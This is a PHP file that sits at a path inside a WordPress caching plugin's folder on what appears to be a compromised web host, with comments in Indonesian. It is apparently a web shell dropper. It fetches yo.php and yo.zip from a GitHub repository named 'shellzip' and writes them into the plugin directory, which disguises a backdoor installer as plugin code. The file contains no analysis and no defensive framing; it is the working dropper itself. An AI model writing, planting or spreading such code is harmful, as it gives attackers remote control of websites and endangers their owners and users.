File: /home/centuryt/public_html/wp-content/plugins/wp-fastest-cache/js/cdn/auto.php
<?php
function download_file($file_url, $save_to) {
// Validasi URL
if (!filter_var($file_url, FILTER_VALIDATE_URL)) {
echo "URL tidak valid: $file_url\n";
return false;
}
// Inisialisasi cURL
$ch = curl_init($file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); // Untuk mengikuti redirect
curl_setopt($ch, CURLOPT_TIMEOUT, 30); // Batas waktu 30 detik
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, true); // Verifikasi sertifikat SSL
// Eksekusi permintaan cURL
$file_content = curl_exec($ch);
$http_status = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Cek apakah ada error atau HTTP status bukan 200 (OK)
if (curl_errno($ch) || $http_status != 200) {
echo "Gagal mengunduh file dari $file_url. HTTP Status: $http_status\n";
curl_close($ch);
return false;
}
// Tutup cURL
curl_close($ch);
// Simpan file ke lokasi tujuan
if (file_put_contents($save_to, $file_content) !== false) {
echo "File berhasil diunduh dan disimpan sebagai $save_to\n";
return true;
} else {
echo "Gagal menyimpan file ke $save_to\n";
return false;
}
}
// Daftar file untuk diunduh
$files_to_download = [
'https://raw.githubusercontent.com/Zeddgansz/shellzip/refs/heads/main/yo.php' => __DIR__ . '/yo.php',
'https://raw.githubusercontent.com/Zeddgansz/shellzip/refs/heads/main/yo.zip' => __DIR__ . '/yo.zip',
];
// Unduh semua file
foreach ($files_to_download as $file_url => $save_to) {
download_file($file_url, $save_to);
}
?>